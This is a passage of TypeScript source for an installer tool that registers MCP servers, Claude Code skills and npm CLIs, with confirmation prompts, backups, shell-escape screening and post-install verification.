cmd. Returns a flat header list ['--header','K: V', ...]\n// suitable for direct `claude mcp add` invocation. ${ENV_VAR} resolved here.\nfunction resolveHeaders(\n cmd: string,\n): { ok: true; flat: string[] } | { ok: false; missing: string } {\n const flat: string[] = []\n // Match: --header \"...\" OR --header '...' OR --header <non-space-token>\n const re = /--header\\s+(?:\"([^\"]+)\"|'([^']+)'|(\\S+))/g\n let m: RegExpExecArray | null\n // biome-ignore lint/suspicious/noAssignInExpressions: standard regex walk\n while ((m = re.exec(cmd)) !== null) {\n const raw: string | undefined = m[1] ?? m[2] ?? m[3]\n if (raw === undefined || raw.length === 0) continue\n const res = resolveEnvVars(raw)\n if (!res.ok) return { ok: false, missing: res.missing }\n flat.push('--header', res.resolved)\n }\n return { ok: true, flat }\n}\n\n// Extract URL from cmd. mcp-http-add cmd shape (CC docs / ADR 0001 / phase 2.1\n// research): `claude mcp add --scope project --transport http <name> <url>\n// [--header \"...\"]...`. We pick the first http(s):// token.\nfunction extractUrl(cmd: string): string | null {\n const m = cmd.match(/\\bhttps?:\\/\\/\\S+/)\n return m ? m[0] : null\n}\n\nexport const installMcpHttpAdd: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-http-add') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installMcpHttpAdd received non-mcp-http-add method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const name = ctx.manifest.metadata.name\n const url = extractUrl(install.cmd)\n if (!url) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `mcp-http-add cmd missing http(s):// URL token (parsed from install.cmd: '${install.cmd.slice(0, 80)}')`,\n 'http-url-missing',\n ),\n }\n }\n\n // D-16: resolve --header ${ENV_VAR} BEFORE constructing addArgs. Unset env\n // var → fail clear, do not silently drop the header (would expose a public\n // unauth call to a presumed-auth server).\n const hdr = resolveHeaders(install.cmd)\n if (!hdr.ok) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `mcp-http-add --header references unset env var '${hdr.missing}'; set it (export ${hdr.missing}=...) or remove the header from the manifest`,\n 'env-unset',\n ),\n suggest: `export ${hdr.missing}=<value> && harnessed install <name>`,\n },\n }\n }\n\n // v3.0.2 hotfix: `--scope user` writes ~/.claude.json (user-global config,\n // CWD-independent). Pre-v3.0.2 `--scope project` writes <cwd>/.mcp.json\n // which EPERMs in read-only CWD. Mirrors mcpStdioAdd v3.0.2 scope flip.\n const addArgs = ['mcp', 'add', '--scope', 'user', '--transport', 'http', ...hdr.flat, name, url]\n\n // H2 defense-in-depth — re-screen each constructed arg. Header values were\n // env-resolved above, so no ${VAR} pattern reaches this check; URL is a\n // plain http(s) string.\n for (const a of addArgs) {\n const violation = checkCmdString(a)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `shell escape detected in constructed mcp-http-add arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n 'security-gate-bypass',\n ),\n }\n }\n }\n\n // v3.0.2: diff target is ~/.claude.json (user-global, `--scope user`)\n // instead of <cwd>/.mcp.json (project-local). Entry shape per CC spec:\n // { [name]: { type: 'http', url, headers: {Key:Value} } } — non-stdio.\n const mcpFile = `${getMcpSpawnCwd()}/.claude.json`\n // Reassemble headers as an object for the diff preview (purely informational).\n const headersObj: Record<string, string> = {}\n for (let i = 0; i < hdr.flat.length; i += 2) {\n const kv = hdr.flat[i + 1]\n if (!kv) continue\n const ci = kv.indexOf(':')\n if (ci > 0) headersObj[kv.slice(0, ci).trim()] = kv.slice(ci + 1).trim()\n }\n const entry =\n Object.keys(headersObj).length > 0\n ? { [name]: { type: 'http', url, headers: headersObj } }\n : { [name]: { type: 'http', url } }\n const newEntry = JSON.stringify(entry, null, 2)\n const plan: DiffPlan = {\n files: [\n {\n target: mcpFile,\n scope: 'HOME',\n oldText: '',\n newText: `// will be merged into ~/.claude.json mcpServers map by \\`claude mcp add --scope user\\`:\\n${newEntry}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // v3.0.2: spawn cwd at homedir() — `--scope user` writes to ~/.claude.json\n // regardless of spawn cwd, but the CC CLI may create temp files in cwd;\n // homedir() avoids EPERM when user launches harnessed from a read-only CWD.\n const spawnCwd = install.cwd ?? getMcpSpawnCwd()\n const r = await runArgs(addArgs, spawnCwd)\n if (r.exitCode !== 0) {\n // ADR 0004 idempotent contract: server already registered is not a failure.\n // v3.0.2: match on \"already exists\" substring (CC CLI error message no\n // longer mentions \".mcp.json\" specifically with --scope user).\n if (r.stderr.includes('already exists')) {\n return { ok: true, alreadyInstalled: true, backupId: bk.backupId }\n }\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `claude mcp add (http) exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // v3.0.3 hotfix: verify reads ~/.claude.json directly via fs (no spawn).\n // Sister mcpStdioAdd v3.0.3 verify rationale verbatim — cross-platform,\n // instant, immune to cold-start timeout.\n const registered = await isMcpServerRegistered(name)\n if (!registered) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify: '${name}' not found in mcpServers map of ~/.claude.json after install spawn exit 0 (file may have been overwritten, or claude mcp add wrote to a non-default location)`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, install.npm_version, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [mcpFile] }\n}\n","// Phase 1.2 install method 2/2 — mcp-npm × mcp-stdio-add per ADR 0004 § 5.\n//\n// v3.0.2 hotfix (scope flip): `--scope project` → `--scope user`. The pre-\n// v3.0.2 `--scope project` writes `<cwd>/.mcp.json`, which fails with EPERM\n// when user runs `harnessed setup` from a read-only CWD (e.g. PowerShell\n// default `C:\\Windows\\System32`). `--scope user` writes `~/.claude.json`\n// user-global config, which is what `harnessed setup` actually wants (MCP\n// servers should be available across all projects after onboarding, not\n// only the current cwd).\n//\n// The pre-v3.0.2 IMPL NOTE referenced CC #54803 \"user scope broken\" — that\n// CC bug has since been resolved by the Claude Code team; `--scope user`\n// now reads back correctly. Verified via `claude mcp add --help` (2026-05-21).\n//\n// IMPL NOTE (Rule 1): hardcoded `--scope user` here cannot be overridden by\n// manifest fields — the manifest cmd string is treated as audit-trail only;\n// we authoritatively reconstruct the args array.\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix — defense in depth): we bypass\n// lib/spawn.ts (which checks the literal cmd string once via checkCmdString)\n// because our args[] is constructed locally; instead, we re-run\n// checkCmdString on EVERY args[i] right before spawn. This catches any\n// future caller (phase 1.4 routing, test harness) that hands us a manifest\n// where metadata.upstream.source / metadata.name / install.npm_version\n// contains shell escapes — the schema-level B1 gate did not screen these\n// non-cmd fields, so the runtime gate must.\n//\n// IMPL NOTE (v3.0.3 hotfix — verify reads ~/.claude.json directly): pre-v3.0.3\n// verify spawned `claude mcp list` and string-matched the server name in\n// stdout. User reports on Windows the spawn-based verify still times out 15s\n// after 3 sequential `claude mcp add` calls (warm process pool exhausted),\n// surfacing as `verify exit -1 ... [timeout]`. The underlying `claude mcp add\n// --scope user` did succeed — `~/.claude.json` was written — but the verify\n// spawn could not complete in budget. v3.0.3 reads `~/.claude.json` directly\n// via `fs.readFile` + `JSON.parse` + `mcpServers[name]` check (sister\n// `readClaudeConfig.ts`). Same authority (the file IS the contract; CC reads\n// it on startup), zero spawn, zero timeout risk, cross-platform.\n\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { isMcpServerRegistered } from './lib/readClaudeConfig.js'\nimport { runArgs } from './lib/runClaudeArgs.js'\nimport { getMcpSpawnCwd } from './lib/safeCwd.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\nexport const installMcpStdioAdd: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-stdio-add') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installMcpStdioAdd received non-mcp-stdio-add method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n const name = ctx.manifest.metadata.name\n const pkg = ctx.manifest.metadata.upstream.source\n const ver = install.npm_version\n // v3.0.2 hotfix: `--scope user` (writes ~/.claude.json user-global config,\n // CWD-independent) instead of `--scope project` (writes <cwd>/.mcp.json,\n // EPERM when user CWD is read-only). harnessed setup is an onboarding\n // command — MCP servers should be available cross-project after install,\n // not scoped to whatever ephemeral CWD the user launched from.\n const addArgs = [\n 'mcp',\n 'add',\n '--scope',\n 'user',\n '--transport',\n 'stdio',\n name,\n '--',\n 'npx',\n '--yes',\n `${pkg}@${ver}`,\n ]\n\n // H2 defense-in-depth — re-screen each constructed arg. metadata.name and\n // metadata.upstream.source pass through B1 only as YAML scalars; never as\n // shell tokens. Re-check in case a future schema change relaxes those fields.\n for (const a of addArgs) {\n const violation = checkCmdString(a)\n if (violation) {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/cmd',\n `shell escape detected in constructed mcp-add arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n 'security-gate-bypass',\n ),\n }\n }\n }\n\n // v3.0.2: diff target is ~/.claude.json (user-global config) instead of\n // <cwd>/.mcp.json (project-local config). `--scope user` flag writes to\n // ~/.claude.json. Simulate entry textually — `claude mcp add --dry-run`\n // CLI flag is not documented, relying on it would be unstable contract.\n const mcpFile = `${getMcpSpawnCwd()}/.claude.json`\n const newEntry = JSON.stringify(\n { [name]: { type: 'stdio', command: 'npx', args: ['--yes', `${pkg}@${ver}`] } },\n null,\n 2,\n )\n const plan: DiffPlan = {\n files: [\n {\n target: mcpFile,\n scope: 'HOME',\n oldText: '',\n newText: `// will be merged into ~/.claude.json mcpServers map by \\`claude mcp add --scope user\\`:\\n${newEntry}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // v3.0.2: spawn cwd at homedir() — `--scope user` writes to ~/.claude.json\n // regardless of spawn cwd, but the CC CLI may create temp files in cwd\n // during the write; using homedir() avoids EPERM when user launches\n // harnessed from a read-only CWD (e.g. C:\\Windows\\System32).\n const spawnCwd = install.cwd ?? getMcpSpawnCwd()\n const r = await runArgs(addArgs, spawnCwd)\n if (r.exitCode !== 0) {\n // ADR 0004 idempotent contract (v1.0.4): server already registered is\n // not a failure. The pre-v3.0.2 error string was \"already exists in\n // .mcp.json\"; with --scope user the CC CLI now reports it as\n // \"already exists in\" the user-config (~/.claude.json or similar).\n // Match on the stable \"already exists\" substring.\n if (r.stderr.includes('already exists')) {\n return { ok: true, alreadyInstalled: true, backupId: bk.backupId }\n }\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `claude mcp add exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // v3.0.3 hotfix: verify reads ~/.claude.json directly via fs (no spawn).\n // `~/.claude.json` is the authoritative file CC reads on startup; `claude\n // mcp list` is just a pretty-printer over the same data. Reading the file\n // is cross-platform, instantaneous, and immune to the v3.0.2 cold-start\n // timeout that surfaced when 3 MCP installers ran sequentially in setup.\n const registered = await isMcpServerRegistered(name)\n if (!registered) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify: '${name}' not found in mcpServers map of ~/.claude.json after install spawn exit 0 (file may have been overwritten, or claude mcp add wrote to a non-default location)`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, ver, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [mcpFile] }\n}\n","// Phase 1.2 install method 1/2 — cli-npm × npm-cli per ADR 0004 + ASSUMPTIONS B3.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS B3 候选 1 + H3 sister review fix): when a\n// manifest declares `npm install -g <pkg>` (Level L4) but the user has NOT\n// passed `--system`, do NOT silently flip to npx — that is \"decision masking\"\n// and erodes trust. Present an explicit 3-way `p.select()`: (a) abort and\n// re-run with --system / (b) downgrade to L1 npx ephemeral / (c) abort.\n// Default is (c) — safest action wins on Enter / Ctrl-C / Esc.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): every multi-line block delegates to a lib/*\n// helper. This installer is a thin orchestrator; if you find yourself adding\n// fs/spawn/diff logic *here*, lift it to lib/.\n\nimport * as p from '@clack/prompts'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { DEFAULT_INSTALL_TIMEOUT_MS, DEFAULT_VERIFY_TIMEOUT_MS, spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult, Level } from './lib/types.js'\n\nfunction detectLevel(cmd: string): Level {\n if (/\\bnpm\\s+install\\s+-g\\b/.test(cmd)) return 'L4'\n if (/\\bnpx\\b/.test(cmd)) return 'L1'\n return 'L4' // safest default: assume worst-case scope\n}\n\nexport const installNpmCli: Installer = async (ctx) => {\n // Discriminator narrow — index.ts only routes here when method === 'npm-cli'.\n const install = ctx.manifest.spec.install\n if (install.method !== 'npm-cli') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installNpmCli received non-npm-cli method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n let level = detectLevel(install.cmd)\n let cmd = install.cmd\n const plan: DiffPlan = { files: [] }\n // L1 npx & L4 global both produce \"(no file changes)\" diff — L4 PATH mod is\n // not previewable as a unified diff; the cmd echo is the audit trail.\n process.stdout.write(renderDiff(plan, ctx))\n if (level === 'L4')\n process.stdout.write(' (L4 system install — global PATH change; see cmd above)\\n')\n const conf = await confirmAt(level, { ...ctx, level })\n if (!conf.proceed) {\n if (level === 'L4' && conf.reason === 'flag-missing' && !ctx.opts.nonInteractive) {\n // H3 three-way prompt (interactive only — non-interactive already short-circuited)\n const choice = await p.select({\n message: 'L4 install requires --system. Choose:',\n options: [\n { value: 'retry', label: 'Retry with --system flag (re-run command)' },\n { value: 'npx', label: 'Downgrade to L1 npx ephemeral install (no global)' },\n { value: 'abort', label: 'Abort install' },\n ],\n initialValue: 'abort',\n })\n if (p.isCancel(choice) || choice === 'abort') return { aborted: true, reason: 'user-cancel' }\n if (choice === 'retry') return { aborted: true, reason: 'level-flag-missing' }\n // 'npx' branch: rebuild cmd + re-confirm at L1\n cmd = `npx --yes ${ctx.manifest.metadata.upstream.source}@${install.npm_version}`\n level = 'L1'\n const conf2 = await confirmAt('L1', { ...ctx, level: 'L1' })\n if (!conf2.proceed) return { aborted: true, reason: 'user-cancel' }\n } else {\n // confirm.reason 'flag-missing' (L4 non-interactive) maps to InstallResult\n // 'level-flag-missing'; 'user-cancel' / undefined → 'user-cancel'.\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n }\n // dry-run short-circuit (preview-only, never writes — ADR 0004 contract 1)\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n // v3.0.2: explicit install timeout (60s default — Windows cold npm/npx cache friendly).\n const sp = await spawnCmd(ctx, cmd, [], DEFAULT_INSTALL_TIMEOUT_MS)\n if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n if (sp.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `install cmd exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n // v3.0.2: verify honors spec.verify.timeout_ms (default 15s) — manifest authors retain control.\n const verifyTimeoutMs = ctx.manifest.spec.verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS\n const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [], verifyTimeoutMs)\n if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n if (vr.exitCode !== expected) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `verify exit ${vr.exitCode} ≠ expected ${expected}`,\n 'verify-failed',\n ),\n }\n }\n // manifest sha1 capture is a Wave 5 CLI concern (it owns the raw yaml bytes);\n // T3.1 records empty-string placeholder per state.ts schema.\n await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, install.npm_version, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [] }\n}\n","// Phase 2.1 install method 6/6 — cc-skill-pack × npx-skill-installer per ADR\n// 0004 § 5 + ADR 0007 install_type=npx + ADR 0010 errata D2.1-4/5/6.\n//\n// IMPL NOTE (Rule 1 / D2.1-4 + D2.1-5 — pinned skills@1.5.7 + --copy --global):\n// the npx tool is `skills` (vercel-labs/skills). v1.5.7 is the research-pinned\n// stable version (RESEARCH.md § 2). `--copy --global` is mandatory:\n// - `--copy` materializes SKILL.md files into ~/.claude/skills/<name>/ instead\n// of symlinks (default symlinks break on Windows + on systems with\n// ~/.claude on a different volume than the npx cache)\n// - `--global` writes to ~/.claude/skills/ (user-scope) instead of cwd\n// These flags are encoded by the manifest cmd string; we PRESERVE the user's\n// cmd verbatim through spawnCmd, AND we assert the required flags are present\n// (preflight) to prevent silent mis-install via a typo'd manifest.\n//\n// IMPL NOTE (Rule 1 / D2.1-6 CRITICAL — real-path verify, NOT npx exit code):\n// `npx skills add ... --copy --global` can exit 0 without actually writing\n// SKILL.md to ~/.claude/skills/<name>/. Known causes:\n// - skills CLI default targets ~/.agents/ on some systems (D-02 bridge gap)\n// - npm prefix mis-configured\n// - permission errors silently swallowed by npx\n// → verify by `test -f ~/.claude/skills/<name>/SKILL.md` (the REAL path).\n// npx-success + verify-fail → InstallError keyword:'verify-failed' with a\n// suggest pointing at the ~/.agents/ vs ~/.claude/ bridge limitation (D-02).\n// This is the heart of the C6 directory-conflict gotcha — we cannot trust\n// the spawn exit code; the filesystem is the only authority.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): thin orchestrator on top of spawnCmd. The\n// real-path verify is fs-based (`fs.access` / `fs.stat`), not a spawned `test`\n// — direct fs is faster, doesn't depend on /bin/test or cmd.exe behavior,\n// and produces a clean Promise without process plumbing.\n\nimport { access } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { preflight } from './lib/preflight.js'\nimport { DEFAULT_INSTALL_TIMEOUT_MS, DEFAULT_VERIFY_TIMEOUT_MS, spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult } from './lib/types.js'\n\n// Extract `<owner/repo>` from `npx ... skills@<ver> add <owner/repo> ...`.\n// Used to compute the expected SKILL.md path. Falls back to manifest\n// metadata.name when the `add <ref>` token is absent.\nfunction extractSkillName(cmd: string, fallback: string): string {\n const m = cmd.match(/\\bskills(?:@\\S+)?\\s+add\\s+(\\S+)/i)\n if (!m || m[1] === undefined) return fallback\n const ref = m[1]\n // If owner/repo, take repo (last segment). If single name, use as-is.\n const seg = ref.split('/')\n return seg[seg.length - 1] ?? fallback\n}\n\nexport const installNpxSkillInstaller: Installer = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'npx-skill-installer') {\n return {\n ok: false,\n phase: 'preflight',\n error: err(\n ctx,\n '/spec/install/method',\n `installNpxSkillInstaller received non-npx-skill-installer method '${install.method}' (dispatch bug)`,\n 'dispatch-mismatch',\n ),\n }\n }\n const pre = preflight(ctx)\n if (!pre.ok) {\n if (pre.abortReason === 'platform-mismatch')\n return { aborted: true, reason: 'platform-mismatch' }\n const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n return { ok: false, phase: 'preflight', error: e }\n }\n\n // D2.1-5 — assert pinned `skills@1.5.7` is referenced in the cmd. We require\n // an explicit pin (not @latest) for reproducibility (ADR 0001). Research\n // pinned 1.5.7 (RESEARCH.md § 2); we don't hardcode \"1.5.7\" here because a\n // future minor bump (1.5.8) should be allowed via manifest update. We only\n // enforce shape: skills@<version-spec>, not @latest.\n if (!/\\bskills@(?!latest\\b)\\S+/.test(install.cmd)) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `npx-skill-installer cmd must reference a pinned skills@<version> (got: '${install.cmd.slice(0, 100)}'); @latest is forbidden for reproducibility (ADR 0001)`,\n 'skills-pin-required',\n ),\n suggest: 'change `skills@latest` → `skills@1.5.7` (current research-pinned stable)',\n },\n }\n }\n\n // D2.1-5 — assert --copy and --global flags are present. Either order, but\n // both are mandatory (research § 2). Silent omission would result in\n // broken-on-Windows symlinks (no --copy) or cwd-scope skills (no --global).\n if (!/\\B--copy\\b/.test(install.cmd) || !/\\B--global\\b/.test(install.cmd)) {\n return {\n ok: false,\n phase: 'preflight',\n error: {\n ...err(\n ctx,\n '/spec/install/cmd',\n `npx-skill-installer cmd must include both \\`--copy\\` and \\`--global\\` flags (D2.1-5)`,\n 'skills-flags-required',\n ),\n suggest:\n '`--copy` materializes files (Windows symlink-safe); `--global` targets ~/.claude/skills/ (user scope)',\n },\n }\n }\n\n // L2 — per-user (~/.claude/skills/<name>/). pure-create DiffPlan with\n // SKILL.md as the target file under HOME scope. rollback = rm -rf the\n // skill dir.\n const name = ctx.manifest.metadata.name\n const skillSegment = extractSkillName(install.cmd, name)\n const skillDir = join(homedir(), '.claude', 'skills', skillSegment)\n const skillMdPath = join(skillDir, 'SKILL.md')\n const plan: DiffPlan = {\n files: [\n {\n target: skillMdPath,\n scope: 'HOME',\n oldText: '',\n newText: `// new SKILL.md created by: ${install.cmd}\\n`,\n },\n ],\n }\n process.stdout.write(renderDiff(plan, ctx))\n\n const conf = await confirmAt('L2', { ...ctx, level: 'L2' })\n if (!conf.proceed) {\n const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n return { aborted: true, reason }\n }\n if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n const bk = await backup(plan, ctx)\n if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n // npx invocation (cmd from manifest; B1 re-screened by spawnCmd).\n // v3.0.2: explicit install timeout (60s — npx cold cache + skills add filesystem traverse).\n const sp = await spawnCmd(ctx, install.cmd, [], DEFAULT_INSTALL_TIMEOUT_MS)\n if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n if (sp.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/install/cmd',\n `npx skills add exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n 'install-failed',\n ),\n }\n }\n\n // D2.1-6 CRITICAL — real-path verify. npx exit 0 ≠ files actually written.\n // Use fs.access (faster, deterministic, cross-OS) instead of spawning `test`.\n try {\n await access(skillMdPath)\n } catch {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: {\n ...err(\n ctx,\n '/spec/verify/cmd',\n `npx skills add reported success but SKILL.md is missing at ${skillMdPath}; the skills CLI may have written to ~/.agents/ instead (D-02 bridge limitation) or the npm prefix is misconfigured`,\n 'verify-failed',\n ),\n suggest: `check if SKILL.md exists at ~/.agents/${skillSegment}/SKILL.md (skills CLI default on some systems); if so, copy or symlink it into ~/.claude/skills/${skillSegment}/`,\n },\n }\n }\n\n // Optional secondary verify: run the manifest verify.cmd (often a grep\n // check) for parity with other installers and to surface install-specific\n // post-conditions like \"CLAUDE.md was patched\".\n // v3.0.2: verify honors spec.verify.timeout_ms (default 15s).\n const verifyTimeoutMs = ctx.manifest.spec.verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS\n const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [], verifyTimeoutMs)\n if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n if (vr.exitCode !== expected) {\n return {\n ok: false,\n phase: 'verify',\n backupId: bk.backupId,\n error: err(\n ctx,\n '/spec/verify/cmd',\n `manifest verify cmd exit ${vr.exitCode} ≠ expected ${expected}: ${vr.stderr.slice(0, 200)}`,\n 'verify-failed',\n ),\n }\n }\n\n await updateInstalled(ctx.cwd, name, install.npm_version, '')\n return { ok: true, backupId: bk.backupId, appliedFiles: [skillMdPath] }\n}\n","// Phase 1.2 → 2.1 installer dispatch table.\n//\n// Phase 1.2 shipped 2 of 6 install methods: npm-cli + mcp-stdio-add.\n// Phase 2.1 unblocks the remaining 4 (cc-plugin-marketplace / git-clone-with-setup /\n// npx-skill-installer / mcp-http-add). All 6 methods are now runtime-ready —\n// the phase21 placeholder const has been removed. See PATTERNS § 4 + ADR 0010 errata.\n//\n// Level mapping per ADR 0004 § 4 (4-level confirm strictness):\n// L1: harnessed-local writes only → npx ephemeral\n// L2: per-user (~/.claude/skills/) → git-clone / npx-skill / npm local\n// L3: user-config (~/.claude.json / → cc-plugin-marketplace / mcp-stdio /\n// .mcp.json / hooks) mcp-http\n// L4: system PATH / global binary → npm install -g\n//\n// npm-cli's level is dynamic (npmCli.ts re-detects from cmd string); we default\n// to L4 here as the safest pre-confirmation seed — npmCli may downgrade to L1\n// after the dry-run preview when cmd uses npx.\n\nimport { installCcHookAdd } from './ccHookAdd.js'\nimport { installCcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { installGitCloneWithSetup } from './gitCloneWithSetup.js'\nimport type { Installer, InstallOpts, InstallResult, Level, Manifest } from './lib/types.js'\nimport { installMcpHttpAdd } from './mcpHttpAdd.js'\nimport { installMcpStdioAdd } from './mcpStdioAdd.js'\nimport { installNpmCli } from './npmCli.js'\nimport { installNpxSkillInstaller } from './npxSkillInstaller.js'\n\nexport const installers: Record<Manifest['spec']['install']['method'], Installer> = {\n 'npm-cli': installNpmCli,\n 'mcp-stdio-add': installMcpStdioAdd,\n 'cc-plugin-marketplace': installCcPluginMarketplace,\n 'git-clone-with-setup': installGitCloneWithSetup,\n 'npx-skill-installer': installNpxSkillInstaller,\n 'mcp-http-add': installMcpHttpAdd,\n // Phase 2.4 W3 T3.1 (D-04 § 3.1) — 7th installer.\n 'cc-hook-add': installCcHookAdd,\n}\n\nfunction levelOf(manifest: Manifest): Level {\n const method = manifest.spec.install.method\n switch (method) {\n case 'mcp-stdio-add':\n case 'mcp-http-add':\n case 'cc-plugin-marketplace':\n case 'cc-hook-add':\n // ~/.claude/settings.json is shared user-scope state (L3 tier sister\n // mcp-stdio CC #54803 \"shared user state\" warning).\n return 'L3'\n case 'git-clone-with-setup':\n case 'npx-skill-installer':\n return 'L2'\n case 'npm-cli':\n return 'L4'\n }\n}\n\nexport async function runInstall(manifest: Manifest, opts: InstallOpts): Promise<InstallResult> {\n const installer = installers[manifest.spec.install.method]\n return installer({ manifest, opts, level: levelOf(manifest), cwd: process.cwd() })\n}\n","// Phase 1.2 cli subcommand `install` per ADR 0004 § 1 + § 6 + Pattern C narrow.\n//\n// IMPL NOTE (v3.0.1 UX flip — apply-immediate default + --dry-run opt-in):\n// `harnessed install 